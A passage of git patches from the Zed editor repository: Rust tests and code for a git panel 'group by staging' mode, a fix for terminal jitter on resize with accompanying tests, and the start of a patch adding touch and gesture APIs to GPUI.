+                ("unstaged.rs", StatusCode::Modified.worktree()),
             ],
         );
 
-        let project = Project::test(fs.clone(), [Path::new(path!("/root/project"))], cx).await;
+        let project = Project::test(fs.clone(), [Path::new(path!("/project"))], cx).await;
         let window_handle =
             cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
         let workspace = window_handle
             .read_with(cx, |mw, _| mw.workspace().clone())
             .unwrap();
-        let cx = &mut VisualTestContext::from_window(window_handle.into(), cx);
+        let mut cx = VisualTestContext::from_window(window_handle.into(), cx);
+
+        cx.update(|_window, cx| {
+            SettingsStore::update_global(cx, |store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    settings.git_panel.get_or_insert_default().group_by =
+                        Some(GitPanelGroupBy::Staging);
+                })
+            });
+        });
 
         cx.read(|cx| {
             project
@@ -9049,35 +9424,567 @@ mod tests {
 
         cx.executor().run_until_parked();
 
-        let panel = workspace.update_in(cx, GitPanel::new);
+        let panel = workspace.update_in(&mut cx, GitPanel::new);
+        await_git_panel_entries(&panel, &mut cx).await;
 
-        let handle = cx.update_window_entity(&panel, |panel, _, _| {
-            std::mem::replace(&mut panel.update_visible_entries_task, Task::ready(()))
+        let entries = panel.read_with(&mut cx, |panel, _| {
+            assert_eq!(panel.entry_count, 6);
+            assert_eq!(
+                panel
+                    .change_entries_by_path()
+                    .filter(|entry| entry.status.is_created())
+                    .map(|entry| &*entry.repo_path)
+                    .sorted()
+                    .collect::<Vec<_>>(),
+                [rel_path("new.rs"), rel_path("partial_new.rs")]
+            );
+
+            let partial_path = repo_path("partial.rs");
+            let projections = panel
+                .projected_entries_by_path
+                .get(&partial_path)
+                .expect("partially staged entry should have projections");
+            assert_eq!(
+                projections.as_slice(),
+                &[
+                    ProjectedChangeEntry {
+                        section: Section::Staged,
+                        index: 3,
+                    },
+                    ProjectedChangeEntry {
+                        section: Section::Unstaged,
+                        index: 8,
+                    },
+                ]
+            );
+            assert_eq!(
+                panel
+                    .staging_action_for_entry_index(projections[0].index)
+                    .map(|action| action.stage),
+                Some(false)
+            );
+            assert_eq!(
+                panel
+                    .staging_action_for_entry_index(projections[1].index)
+                    .map(|action| action.stage),
+                Some(true)
+            );
+            panel.entries.clone()
         });
-        cx.executor().advance_clock(2 * UPDATE_DEBOUNCE);
-        handle.await;
 
-        let entries = panel.read_with(cx, |panel, _| panel.entries.clone());
         #[rustfmt::skip]
         pretty_assertions::assert_matches!(
             entries.as_slice(),
             &[
                 Header(GitHeaderEntry { header: Section::Conflict }),
-                Status(GitStatusEntry { staging: StageStatus::Unstaged, .. }),
-                Header(GitHeaderEntry { header: Section::Tracked }),
-                Status(GitStatusEntry { staging: StageStatus::Unstaged, .. }),
-                Status(GitStatusEntry { staging: StageStatus::Unstaged, .. }),
-                Status(GitStatusEntry { staging: StageStatus::Unstaged, .. }),
-                Header(GitHeaderEntry { header: Section::New }),
-                Status(GitStatusEntry { staging: StageStatus::Unstaged, .. }),
-                Status(GitStatusEntry { staging: StageStatus::Unstaged, .. }),
+                Status(GitStatusEntry { status: FileStatus::Unmerged(..), staging: StageStatus::Unstaged, .. }),
+                Header(GitHeaderEntry { header: Section::Staged }),
+                Status(GitStatusEntry { staging: StageStatus::PartiallyStaged, .. }),
+                Status(GitStatusEntry { staging: StageStatus::PartiallyStaged, .. }),
+                Status(GitStatusEntry { staging: StageStatus::Staged, .. }),
+                Header(GitHeaderEntry { header: Section::Unstaged }),
+                Status(GitStatusEntry { status: FileStatus::Untracked, staging: StageStatus::Unstaged, .. }),
+                Status(GitStatusEntry { staging: StageStatus::PartiallyStaged, .. }),
+                Status(GitStatusEntry { staging: StageStatus::PartiallyStaged, .. }),
                 Status(GitStatusEntry { staging: StageStatus::Unstaged, .. }),
             ],
         );
-
-        let second_status_entry = entries[3].clone();
-        panel.update_in(cx, |panel, window, cx| {
-            panel.toggle_staged_for_entry(&second_status_entry, window, cx);
+        assert_entry_paths(
+            &entries,
+            &[
+                None,
+                Some("conflict.rs"),
+                None,
+                Some("partial.rs"),
+                Some("partial_new.rs"),
+                Some("staged.rs"),
+                None,
+                Some("new.rs"),
+                Some("partial.rs"),
+                Some("partial_new.rs"),
+                Some("unstaged.rs"),
+            ],
+        );
+
+        let worktree_id =
+            cx.read(|cx| project.read(cx).worktrees(cx).next().unwrap().read(cx).id());
+        panel.update_in(&mut cx, |panel, window, cx| {
+            panel.select_entry_by_path(
+                ProjectPath {
+                    worktree_id,
+                    path: rel_path("partial.rs").into_arc(),
+                },
+                window,
+                cx,
+            );
+        });
+        panel.read_with(&cx, |panel, _| {
+            assert_eq!(
+                panel.selected_entry,
+                panel.entry_by_path_in_section(&repo_path("partial.rs"), Section::Staged)
+            );
+        });
+
+        panel.update_in(&mut cx, |panel, window, cx| {
+            panel.selected_entry =
+                panel.entry_by_path_in_section(&repo_path("partial.rs"), Section::Unstaged);
+            panel.select_entry_by_path(
+                ProjectPath {
+                    worktree_id,
+                    path: rel_path("partial.rs").into_arc(),
+                },
+                window,
+                cx,
+            );
+        });
+        panel.read_with(&cx, |panel, _| {
+            assert_eq!(
+                panel.selected_entry,
+                panel.entry_by_path_in_section(&repo_path("partial.rs"), Section::Unstaged)
+            );
+        });
+
+        panel.update_in(&mut cx, |panel, _window, _cx| {
+            panel.selected_entry =
+                panel.entry_by_path_in_section(&repo_path("partial.rs"), Section::Staged);
+        });
+
+        fs.set_status_for_repo(
+            path!("/project/.git").as_ref(),
+            &[
+                (
+                    "conflict.rs",
+                    UnmergedStatus {
+                        first_head: UnmergedStatusCode::Updated,
+                        second_head: UnmergedStatusCode::Updated,
+                    }
+                    .into(),
+                ),
+                ("new.rs", FileStatus::Untracked),
+                ("partial.rs", StatusCode::Modified.worktree()),
+                (
+                    "partial_new.rs",
+                    TrackedStatus {
+                        index_status: StatusCode::Added,
+                        worktree_status: StatusCode::Modified,
+                    }
+                    .into(),
+                ),
+                ("staged.rs", FileStatus::index(StatusCode::Modified)),
+                ("unstaged.rs", StatusCode::Modified.worktree()),
+            ],
+        );
+        cx.run_until_parked();
+        await_git_panel_entries(&panel, &mut cx).await;
+
+        panel.read_with(&cx, |panel, _| {
+            let selected_entry = panel
+                .get_selected_entry()
+                .and_then(GitListEntry::status_entry)
+                .expect("selected change should remain selected");
+            assert_eq!(selected_entry.repo_path, repo_path("partial.rs"));
+            assert_eq!(
+                panel.selected_entry,
+                panel.entry_by_path_in_section(&repo_path("partial.rs"), Section::Unstaged)
+            );
+        });
+    }
+
+    #[gpui::test]
+    async fn test_staging_conflict_mark_resolved_transition(cx: &mut TestAppContext) {
+        use GitListEntry::*;
+
+        init_test(cx);
+        let fs = FakeFs::new(cx.background_executor.clone());
+        fs.insert_tree(
+            path!("/project"),
+            json!({
+                ".git": {},
+                "conflict.rs": "<<<<<<< HEAD\nours\n=======\ntheirs\n>>>>>>> branch\n",
+            }),
+        )
+        .await;
+
+        let unresolved_status = FileStatus::Unmerged(UnmergedStatus {
+            first_head: UnmergedStatusCode::Updated,
+            second_head: UnmergedStatusCode::Updated,
+        });
+        fs.set_status_for_repo(
+            path!("/project/.git").as_ref(),
+            &[("conflict.rs", unresolved_status)],
+        );
+
+        let project = Project::test(fs.clone(), [Path::new(path!("/project"))], cx).await;
+        let window_handle =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = window_handle
+            .read_with(cx, |multi_workspace, _| multi_workspace.workspace().clone())
+            .unwrap();
+        let mut cx = VisualTestContext::from_window(window_handle.into(), cx);
+
+        cx.update(|_window, cx| {
+            SettingsStore::update_global(cx, |store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    settings.git_panel.get_or_insert_default().group_by =
+                        Some(GitPanelGroupBy::Staging);
+                })
+            });
+        });
+
+        cx.read(|cx| {
+            project
+                .read(cx)
+                .worktrees(cx)
+                .next()
+                .unwrap()
+                .read(cx)
+                .as_local()
+                .unwrap()
+                .scan_complete()
+        })
+        .await;
+        cx.executor().run_until_parked();
+
+        let panel = workspace.update_in(&mut cx, GitPanel::new);
+        await_git_panel_entries(&panel, &mut cx).await;
+
+        let conflict_entry = panel.read_with(&cx, |panel, _| {
+            pretty_assertions::assert_matches!(
+                panel.entries.as_slice(),
+                &[
+                    Header(GitHeaderEntry {
+                        header: Section::Conflict
+                    }),
+                    Status(GitStatusEntry {
+                        status: FileStatus::Unmerged(..),
+                        ..
+                    }),
+                ],
+            );
+            panel
+                .entries
+                .get(1)
+                .and_then(GitListEntry::status_entry)
+                .cloned()
+                .expect("conflict entry should exist")
+        });
+
+        panel.update_in(&mut cx, |panel, _window, cx| {
+            panel.change_file_stage(true, vec![conflict_entry.clone()], cx);
+        });
+        cx.run_until_parked();
+
+        panel.read_with(&cx, |panel, _| {
+            assert!(matches!(
+                panel.entries.as_slice(),
+                [
+                    Header(GitHeaderEntry {
+                        header: Section::Conflict
+                    }),
+                    Status(GitStatusEntry {
+                        status: FileStatus::Unmerged(..),
+                        ..
+                    }),
+                ]
+            ));
+        });
+
+        fs.set_status_for_repo(
+            path!("/project/.git").as_ref(),
+            &[("conflict.rs", FileStatus::index(StatusCode::Modified))],
+        );
+        cx.run_until_parked();
+        await_git_panel_entries(&panel, &mut cx).await;
+
+        panel.read_with(&cx, |panel, _| {
+            pretty_assertions::assert_matches!(
+                panel.entries.as_slice(),
+                &[
+                    Header(GitHeaderEntry {
+                        header: Section::Staged
+                    }),
+                    Status(GitStatusEntry {
+                        staging: StageStatus::Staged,
+                        ..
+                    }),
+                ],
+            );
+            assert_eq!(panel.entry_count, 1);
+        });
+    }
+
+    #[gpui::test]
+    async fn test_group_by_staging_primary_action_stages_partially_staged_files(
+        cx: &mut TestAppContext,
+    ) {
+        init_test(cx);
+        let fs = FakeFs::new(cx.background_executor.clone());
+        fs.insert_tree(
+            path!("/project"),
+            json!({
+                ".git": {},
+                "partial.rs": "partial content",
+                "staged.rs": "staged content",
+            }),
+        )
+        .await;
+
+        fs.set_status_for_repo(
+            path!("/project/.git").as_ref(),
+            &[
+                (
+                    "partial.rs",
+                    TrackedStatus {
+                        index_status: StatusCode::Modified,
+                        worktree_status: StatusCode::Modified,
+                    }
+                    .into(),
+                ),
+                ("staged.rs", FileStatus::index(StatusCode::Modified)),
+            ],
+        );
+
+        let project = Project::test(fs.clone(), [Path::new(path!("/project"))], cx).await;
+        let window_handle =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = window_handle
+            .read_with(cx, |mw, _| mw.workspace().clone())
+            .unwrap();
+        let mut cx = VisualTestContext::from_window(window_handle.into(), cx);
+
+        cx.update(|_window, cx| {
+            SettingsStore::update_global(cx, |store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    settings.git_panel.get_or_insert_default().group_by =
+                        Some(GitPanelGroupBy::Staging);
+                })
+            });
+        });
+
+        cx.read(|cx| {
+            project
+                .read(cx)
+                .worktrees(cx)
+                .next()
+                .unwrap()
+                .read(cx)
+                .as_local()
+                .unwrap()
+                .scan_complete()
+        })
+        .await;
+
+        cx.executor().run_until_parked();
+
+        let panel = workspace.update_in(&mut cx, GitPanel::new);
+        await_git_panel_entries(&panel, &mut cx).await;
+
+        panel.read_with(&mut cx, |panel, _| {
+            assert_eq!(panel.entry_count, 2);
+            assert_eq!(panel.total_staged_count(), panel.entry_count);
+            assert!(panel.has_unstaged_changes());
+            assert!(panel.primary_changes_action_stages());
+        });
+    }
+
+    #[gpui::test]
+    async fn test_group_by_staging_open_diff_uses_section_diff(cx: &mut TestAppContext) {
+        init_test(cx);
+        let fs = FakeFs::new(cx.background_executor.clone());
+        fs.insert_tree(
+            path!("/project"),
+            json!({
+                ".git": {},
+                "partial.rs": "partial content",
+            }),
+        )
+        .await;
+
+        fs.set_status_for_repo(
+            path!("/project/.git").as_ref(),
+            &[(
+                "partial.rs",
+                TrackedStatus {
+                    index_status: StatusCode::Modified,
+                    worktree_status: StatusCode::Modified,
+                }
+                .into(),
+            )],
+        );
+
+        let project = Project::test(fs.clone(), [Path::new(path!("/project"))], cx).await;
+        let window_handle =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = window_handle
+            .read_with(cx, |multi_workspace, _| multi_workspace.workspace().clone())
+            .unwrap();
+        let mut cx = VisualTestContext::from_window(window_handle.into(), cx);
+
+        cx.update(|_window, cx| {
+            SettingsStore::update_global(cx, |store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    settings.git_panel.get_or_insert_default().group_by =
+                        Some(GitPanelGroupBy::Staging);
+                })
+            });
+        });
+
+        cx.read(|cx| {
+            project
+                .read(cx)
+                .worktrees(cx)
+                .next()
+                .unwrap()
+                .read(cx)
+                .as_local()
+                .unwrap()
+                .scan_complete()
+        })
+        .await;
+        cx.executor().run_until_parked();
+
+        let panel = workspace.update_in(&mut cx, GitPanel::new);
+        await_git_panel_entries(&panel, &mut cx).await;
+
+        panel.update_in(&mut cx, |panel, window, cx| {
+            panel.selected_entry =
+                panel.entry_by_path_in_section(&repo_path("partial.rs"), Section::Staged);
+            panel.open_diff(&menu::Confirm, window, cx);
+        });
+        cx.run_until_parked();
+
+        workspace.read_with(&cx, |workspace, cx| {
+            assert!(workspace.active_item_as::<StagedDiff>(cx).is_some());
+            assert_eq!(workspace.items_of_type::<StagedDiff>(cx).count(), 1);
+            assert_eq!(workspace.items_of_type::<UnstagedDiff>(cx).count(), 0);
+            assert_eq!(workspace.items_of_type::<ProjectDiff>(cx).count(), 0);
+        });
+
+        panel.update_in(&mut cx, |panel, window, cx| {
+            panel.open_solo_diff(&menu::SecondaryConfirm, window, cx);
+        });
+        cx.run_until_parked();
+
+        workspace.read_with(&cx, |workspace, cx| {
+            assert!(workspace.active_item_as::<SoloDiffView>(cx).is_some());
+            assert_eq!(workspace.items_of_type::<StagedDiff>(cx).count(), 1);
+            assert_eq!(workspace.items_of_type::<SoloDiffView>(cx).count(), 1);
+        });
+
+        panel.update_in(&mut cx, |panel, window, cx| {
+            panel.selected_entry =
+                panel.entry_by_path_in_section(&repo_path("partial.rs"), Section::Unstaged);
+            panel.open_diff(&menu::Confirm, window, cx);
+        });
+        cx.run_until_parked();
+
+        workspace.read_with(&cx, |workspace, cx| {
+            assert!(workspace.active_item_as::<UnstagedDiff>(cx).is_some());
+            assert_eq!(workspace.items_of_type::<StagedDiff>(cx).count(), 1);
+            assert_eq!(workspace.items_of_type::<UnstagedDiff>(cx).count(), 1);
+            assert_eq!(workspace.items_of_type::<ProjectDiff>(cx).count(), 0);
+        });
+    }
+
+    #[gpui::test]
+    async fn test_bulk_staging(cx: &mut TestAppContext) {
+        use GitListEntry::*;
+
+        init_test(cx);
+        let fs = FakeFs::new(cx.background_executor.clone());
+        fs.insert_tree(
+            "/root",
+            json!({
+                "project": {
+                    ".git": {},
+                    "src": {
+                        "main.rs": "fn main() {}",
+                        "lib.rs": "pub fn hello() {}",
+                        "utils.rs": "pub fn util() {}"
+                    },
+                    "tests": {
+                        "test.rs": "fn test() {}"
+                    },
+                    "new_file.txt": "new content",
+                    "another_new.rs": "// new file",
+                    "conflict.txt": "conflicted content"
+                }
+            }),
+        )
+        .await;
+
+        fs.set_status_for_repo(
+            Path::new(path!("/root/project/.git")),
+            &[
+                ("src/main.rs", StatusCode::Modified.worktree()),
+                ("src/lib.rs", StatusCode::Modified.worktree()),
+                ("tests/test.rs", StatusCode::Modified.worktree()),
+                ("new_file.txt", FileStatus::Untracked),
+                ("another_new.rs", FileStatus::Untracked),
+                ("src/utils.rs", FileStatus::Untracked),
+                (
+                    "conflict.txt",
+                    UnmergedStatus {
+                        first_head: UnmergedStatusCode::Updated,
+                        second_head: UnmergedStatusCode::Updated,
+                    }
+                    .into(),
+                ),
+            ],
+        );
+
+        let project = Project::test(fs.clone(), [Path::new(path!("/root/project"))], cx).await;
+        let window_handle =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = window_handle
+            .read_with(cx, |mw, _| mw.workspace().clone())
+            .unwrap();
+        let cx = &mut VisualTestContext::from_window(window_handle.into(), cx);
+
+        cx.read(|cx| {
+            project
+                .read(cx)
+                .worktrees(cx)
+                .next()
+                .unwrap()
+                .read(cx)
+                .as_local()
+                .unwrap()
+                .scan_complete()
+        })
+        .await;
+
+        cx.executor().run_until_parked();
+
+        let panel = workspace.update_in(cx, GitPanel::new);
+
+        let handle = cx.update_window_entity(&panel, |panel, _, _| {
+            std::mem::replace(&mut panel.update_visible_entries_task, Task::ready(()))
+        });
+        cx.executor().advance_clock(2 * UPDATE_DEBOUNCE);
+        handle.await;
+
+        let entries = panel.read_with(cx, |panel, _| panel.entries.clone());
+        #[rustfmt::skip]
+        pretty_assertions::assert_matches!(
+            entries.as_slice(),
+            &[
+                Header(GitHeaderEntry { header: Section::Conflict }),
+                Status(GitStatusEntry { staging: StageStatus::Unstaged, .. }),
+                Header(GitHeaderEntry { header: Section::Tracked }),
+                Status(GitStatusEntry { staging: StageStatus::Unstaged, .. }),
+                Status(GitStatusEntry { staging: StageStatus::Unstaged, .. }),
+                Status(GitStatusEntry { staging: StageStatus::Unstaged, .. }),
+                Header(GitHeaderEntry { header: Section::New }),
+                Status(GitStatusEntry { staging: StageStatus::Unstaged, .. }),
+                Status(GitStatusEntry { staging: StageStatus::Unstaged, .. }),
+                Status(GitStatusEntry { staging: StageStatus::Unstaged, .. }),
+            ],
+        );
+
+        let second_status_entry = entries[3].clone();
+        panel.update_in(cx, |panel, window, cx| {
+            panel.toggle_staged_for_entry(&second_status_entry, window, cx);
         });
 
         panel.update_in(cx, |panel, window, cx| {
@@ -10643,6 +11550,19 @@ mod tests {
         // "Update tracked"
         let message = panel.update(cx, |panel, cx| panel.suggest_commit_message(cx));
         assert_eq!(message, Some("Update tracked".to_string()));
+
+        cx.update(|_window, cx| {
+            SettingsStore::update_global(cx, |store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    settings.git_panel.get_or_insert_default().group_by =
+                        Some(GitPanelGroupBy::Staging);
+                });
+            });
+        });
+        await_git_panel_entries(&panel, cx).await;
+
+        let message = panel.update(cx, |panel, cx| panel.suggest_commit_message(cx));
+        assert_eq!(message, Some("Update tracked".to_string()));
     }
 
     #[test]
diff --git a/crates/git_ui/src/staged_diff.rs b/crates/git_ui/src/staged_diff.rs
index 9b607c72cbc1b5..30ab5bd0590c97 100644
--- a/crates/git_ui/src/staged_diff.rs
+++ b/crates/git_ui/src/staged_diff.rs
@@ -198,13 +198,21 @@ impl StagedDiff {
 
         if let Some(entry) = entry {
             staged_diff.update(cx, |staged_diff, cx| {
-                staged_diff
-                    .diff
-                    .update(cx, |diff, cx| diff.move_to_entry(entry, window, cx));
+                staged_diff.move_to_entry(entry, window, cx);
             });
         }
     }
 
+    pub(crate) fn move_to_entry(
+        &mut self,
+        entry: GitStatusEntry,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.diff
+            .update(cx, |diff, cx| diff.move_to_entry(entry, window, cx));
+    }
+
     pub(crate) fn new(
         project: Entity<Project>,
         workspace: Entity<Workspace>,
diff --git a/crates/git_ui/src/unstaged_diff.rs b/crates/git_ui/src/unstaged_diff.rs
index 44f700c722a7ff..a31ea12b3fe5b3 100644
--- a/crates/git_ui/src/unstaged_diff.rs
+++ b/crates/git_ui/src/unstaged_diff.rs
@@ -202,13 +202,21 @@ impl UnstagedDiff {
 
         if let Some(entry) = entry {
             unstaged_diff.update(cx, |unstaged_diff, cx| {
-                unstaged_diff
-                    .diff
-                    .update(cx, |diff, cx| diff.move_to_entry(entry, window, cx));
+                unstaged_diff.move_to_entry(entry, window, cx);
             });
         }
     }
 
+    pub(crate) fn move_to_entry(
+        &mut self,
+        entry: GitStatusEntry,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.diff
+            .update(cx, |diff, cx| diff.move_to_entry(entry, window, cx));
+    }
+
     pub(crate) fn new(
         project: Entity<Project>,
         workspace: Entity<Workspace>,
diff --git a/crates/settings_content/src/settings_content.rs b/crates/settings_content/src/settings_content.rs
index f0f652d2baa4ad..4628bcf34e5713 100644
--- a/crates/settings_content/src/settings_content.rs
+++ b/crates/settings_content/src/settings_content.rs
@@ -787,6 +787,7 @@ pub enum GitPanelGroupBy {
     None,
     #[default]
     Status,
+    Staging,
 }
 
 #[derive(
diff --git a/docs/src/visual-customization.md b/docs/src/visual-customization.md
index b58469d12e43d3..b3f9131ca9af54 100644
--- a/docs/src/visual-customization.md
+++ b/docs/src/visual-customization.md
@@ -571,7 +571,7 @@ See [Terminal settings](./reference/all-settings.md#terminal) for additional non
     "default_width": 360,         // Default width of the git panel.
     "status_style": "icon",       // label_color, icon
     "sort_by": "path",            // path, name
-    "group_by": "status",         // none, status
+    "group_by": "status",         // none, status, staging
     "scrollbar": {
       "show": null                // Show/hide: (auto, system, always, never)
     }

From df377660607fd0ba824940b2350dac6b7e4912be Mon Sep 17 00:00:00 2001
From: Bing Wang <wangbing.adam@gmail.com>
Date: Sun, 12 Jul 2026 04:03:03 +0800
Subject: [PATCH 392/772] terminal: Fix terminal jitter on resize (#56715)

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #55934

Release Notes:

- Fixed terminal jitter when resizing vertically with content that
doesn't fill the available height.

---------

Co-authored-by: Nathan Sobo <nathan@zed.dev>
---
 crates/terminal/src/alacritty.rs             |  9 +++
 crates/terminal/src/terminal.rs              |  2 +
 crates/terminal_view/src/terminal_element.rs |  6 +-
 crates/terminal_view/src/terminal_view.rs    | 66 ++++++++++++++++++++
 4 files changed, 82 insertions(+), 1 deletion(-)

diff --git a/crates/terminal/src/alacritty.rs b/crates/terminal/src/alacritty.rs
index 5766d8b8fded30..6a8e9d0dd2f676 100644
--- a/crates/terminal/src/alacritty.rs
+++ b/crates/terminal/src/alacritty.rs
@@ -821,6 +821,14 @@ pub(super) fn make_content(term: &Term<ZedListener>, last_content: &Content) ->
         None
     };
 
+    let bottom_line = term.screen_lines() as i32 - 1 - content.display_offset as i32;
+    let bottom_row_occupied = content.cursor.point.line.0 >= bottom_line
+        || cells
+            .iter()
+            .rev()
+            .take_while(|cell| cell.point.line >= bottom_line)
+            .any(|cell| cell.cell.character() != ' ');
+
     Content {
         cells,
         mode: terminal_modes_from_alacritty(content.mode),
@@ -835,6 +843,7 @@ pub(super) fn make_content(term: &Term<ZedListener>, last_content: &Content) ->
         last_hovered_word: last_content.last_hovered_word.clone(),
         scrolled_to_top: content.display_offset == term.history_size(),
         scrolled_to_bottom: content.display_offset == 0,
+        bottom_row_occupied,
     }
 }
 
diff --git a/crates/terminal/src/terminal.rs b/crates/terminal/src/terminal.rs
index 796593fe45d951..8d0521d3975233 100644
--- a/crates/terminal/src/terminal.rs
+++ b/crates/terminal/src/terminal.rs
@@ -498,6 +498,7 @@ pub struct Content {
     pub last_hovered_word: Option<HoveredWord>,
     pub scrolled_to_top: bool,
     pub scrolled_to_bottom: bool,
+    pub bottom_row_occupied: bool,
 }
 
 #[derive(Debug, Clone, Eq, PartialEq)]
@@ -524,6 +525,7 @@ impl Default for Content {
             last_hovered_word: None,
             scrolled_to_top: false,
             scrolled_to_bottom: false,
+            bottom_row_occupied: false,
         }
     }
 }
diff --git a/crates/terminal_view/src/terminal_element.rs b/crates/terminal_view/src/terminal_element.rs
index b74d28593d074d..84c5f986617745 100644
--- a/crates/terminal_view/src/terminal_element.rs
+++ b/crates/terminal_view/src/terminal_element.rs
@@ -1033,6 +1033,10 @@ impl Element for TerminalElement {
                     origin.x += gutter;
 
                     if matches!(self.terminal_view.read(cx).mode, TerminalMode::Standalone) {
+                        let should_anchor_to_bottom = {
+                            let content = self.terminal.read(cx).last_content();
+                            content.scrolled_to_bottom && content.bottom_row_occupied
+                        };
                         let scale_factor = window.scale_factor();
                         let line_height_pixels = px(line_height);
                         let line_height_device_px = (f32::from(line_height_pixels) * scale_factor)
@@ -1054,7 +1058,7 @@ impl Element for TerminalElement {
                         let padding = px(padding_device_px as f32 / scale_factor.max(1.0));
 
                         size.height = snapped_height;
-                        if self.terminal.read(cx).scrolled_to_bottom() {
+                        if should_anchor_to_bottom {
                             origin.y += padding;
                         }
                     }
diff --git a/crates/terminal_view/src/terminal_view.rs b/crates/terminal_view/src/terminal_view.rs
index a323da81b5052f..1e1c4b7819096a 100644
--- a/crates/terminal_view/src/terminal_view.rs
+++ b/crates/terminal_view/src/terminal_view.rs
@@ -3053,6 +3053,72 @@ mod tests {
         });
     }
 
+    async fn draw_standalone_terminal(
+        output: &[u8],
+        cx: &mut TestAppContext,
+    ) -> (gpui::Bounds<Pixels>, gpui::Size<Pixels>) {
+        let (project, workspace) = init_test(cx).await;
+        let terminal = cx.new(|cx| {
+            terminal::TerminalBuilder::new_display_only(
+                CursorShape::default(),
+                terminal::terminal_settings::AlternateScroll::On,
+                None,
+                0,
+                cx.background_executor(),
+                PathStyle::local(),
+            )
+            .subscribe(cx)
+        });
+        terminal.update(cx, |terminal, cx| {
+            terminal.write_output(output, cx);
+        });
+
+        let (terminal_view, cx) = cx.add_window_view(|window, cx| {
+            TerminalView::new(
+                terminal.clone(),
+                workspace.downgrade(),
+                None,
+                project.downgrade(),
+                window,
+                cx,
+            )
+        });
+
+        let draw_size = gpui::size(px(400.), px(201.));
+        cx.simulate_resize(draw_size);
+        cx.draw(gpui::Point::default(), draw_size, |_, _| {
+            terminal_view.clone().into_any_element()
+        });
+        cx.run_until_parked();
+        cx.draw(gpui::Point::default(), draw_size, |_, _| {
+            terminal_view.clone().into_any_element()
+        });
+
+        let bounds = terminal.read_with(cx, |terminal, _| {
+            terminal.last_content().terminal_bounds.bounds
+        });
+        (bounds, draw_size)
+    }
+
+    #[gpui::test]
+    async fn test_short_standalone_terminal_stays_top_anchored_on_resize(cx: &mut TestAppContext) {
+        let (bounds, _) = draw_standalone_terminal(b"$ ", cx).await;
+        assert_eq!(bounds.origin.y, px(0.));
+    }
+
+    #[gpui::test]
+    async fn test_full_standalone_terminal_stays_bottom_anchored_on_resize(
+        cx: &mut TestAppContext,
+    ) {
+        let (bounds, draw_size) = draw_standalone_terminal(
+            b"one\ntwo\nthree\nfour\nfive\nsix\nseven\neight\nnine\nten\n",
+            cx,
+        )
+        .await;
+        assert!(bounds.origin.y > px(0.));
+        assert_eq!(bounds.bottom(), draw_size.height);
+    }
+
     #[gpui::test]
     async fn test_tab_content_shows_terminal_title_when_custom_title_directly_set_empty(
         cx: &mut TestAppContext,

From 9c3273201ce6fe6b97a5aa38a7a2cab8098b7a6e Mon Sep 17 00:00:00 2001
From: Mikayla Maki <mikayla@zed.dev>
Date: Sat, 11 Jul 2026 15:14:52 -0700
Subject: [PATCH 393/772] gpui: Add mobile/touch API surface (#60496)

TODO:

- [ ] Remove slop comments
- [ ] Review APIs in detail

# Objective

- This PR aims to add official mobile API surfaces to GPUI

## Solution

- This PR cross references several internal experiments to come up with
a general cross-platform abstraction for core input mechanisms, but
defers actual implementations to later. These are intended to be a
common base to build off of.

## Testing

- Yes, as mentioned above with external experiments

## Self-Review Checklist:

- [ ] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A
---
 crates/editor/src/runnables.rs  |   1 +
 crates/gpui/src/gestures.rs     | 123 ++++++++++++++++++++
 crates/gpui/src/gpui.rs         |   2 +
 crates/gpui/src/input.rs        |  38 +++++++
 crates/gpui/src/interactive.rs  | 103 ++++++++++++++++-
 crates/gpui/src/platform.rs     | 193 +++++++++++++++++++++++++++++++-
 crates/gpui/src/window.rs       |   3 +
 crates/terminal/src/terminal.rs |   3 +-
 8 files changed, 457 insertions(+), 9 deletions(-)
 create mode 100644 crates/gpui/src/gestures.rs

diff --git a/crates/editor/src/runnables.rs b/crates/editor/src/runnables.rs
index 956e4dd2e09484..a0e1f5856176a1 100644
--- a/crates/editor/src/runnables.rs
+++ b/crates/editor/src/runnables.rs
@@ -537,6 +537,7 @@ impl Editor {
             let quick_launch = match e {
                 ClickEvent::Keyboard(_) => true,
                 ClickEvent::Mouse(e) => e.down.button == MouseButton::Left,
+                ClickEvent::Touch(_) => true,
             };
 
             window.focus(&editor.focus_handle(cx), cx);
diff --git a/crates/gpui/src/gestures.rs b/crates/gpui/src/gestures.rs
new file mode 100644
index 00000000000000..5e14d4249bc93d
--- /dev/null
+++ b/crates/gpui/src/gestures.rs
@@ -0,0 +1,123 @@
+//! Touch gesture recognition vocabulary.
+//!
+//! GPUI recognizes gestures from raw [`TouchEvent`](crate::TouchEvent)s in a
+//! single, portable arena in gpui core: recognizers compete for in-flight
+//! touches, winners claim them, and losers are cancelled. Recognized gestures
+//! are surfaced through *existing* semantic events wherever possible, a tap
+//! becomes [`ClickEvent::Touch`](crate::ClickEvent), a pan becomes
+//! [`ScrollWheelEvent`](crate::ScrollWheelEvent)s carrying a
+//! [`TouchPhase`](crate::TouchPhase), and a pinch becomes
+//! [`PinchEvent`](crate::PinchEvent)s — so components written against
+//! `on_click` and scroll containers work untouched on mobile.
+
+use std::time::Duration;
+
+use crate::{Pixels, Point, px};
+
+/// Feel constants consumed by gesture recognizers. Provided on a best-effort
